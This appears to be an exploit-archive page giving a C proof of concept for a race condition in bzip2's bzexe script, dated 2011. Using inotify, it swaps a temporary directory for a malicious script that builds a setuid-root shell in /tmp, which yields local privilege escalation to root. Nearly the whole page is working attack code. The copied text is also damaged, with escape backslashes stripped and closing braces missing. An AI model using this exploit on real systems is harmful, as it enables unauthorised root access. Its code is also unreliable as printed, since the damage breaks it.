[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : bzexe (bzip2) race condition
# Published : 2011-11-23
# Author :
# Previous Title : MS11-080 Afd.sys Privilege Escalation Exploit
# Next Title : AVCon DEP Bypass

/* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC

   Author:    vladz (http://vladz.devzero.fr)
   Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6)

   This PoC exploits a race condition in the bzexe script.  This tool is
   rarely used so I wasn't supposed to write an exploit.  But some people
   on the full-disclosure list had doubts about this exploitation.  Public
   discussion about this issue started from this post:  

   I am using Inotify to win the race (on my dual-core, it succeed 100%).

      Usage: ./bzexe_PoC <command_name>

   For instance, if "/bin/dd" has already been compressed with bzexe,

      $ ./bzexe_PoC dd
      [*] launching attack against "dd"
      [+] creating evil script (/tmp/evil)
      [+] creating target directory (/tmp/dd)
      [+] initialize inotify
      [+] waiting for root to launch "dd"
      [+] opening root shell
      # whoami
#define _GNU_SOURCE
#include <sys/inotify.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>

int create_nasty_shell(char *file) {
  char *s = "#!/bin/bashn"
            "echo 'main(){setuid(0);execve("/bin/sh",0,0);}'>/tmp/sh.cn"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/shn"
            "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));

  return 0;

int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, 
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("usage: %s <cmd name>n", argv[0]);
    return 1;

  printf("[*] launching attack against "%s"n", argv[1]);

  printf("[+] creating evil script (/tmp/evil)n");

  targetpath = malloc(sizeof(argv[1]) + 6);
  sprintf(targetpath, "/tmp/%s", argv[1]);

  printf("[+] creating target directory (%s)n", targetpath);
  mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO);

  printf("[+] initialize inotifyn");
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_CREATE);

  printf("[+] waiting for root to launch "%s"n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] opening root shell (/tmp/sh)n");
  system("rm -fr /tmp/trash;/tmp/sh || echo "[-] Failed."");

  return 0;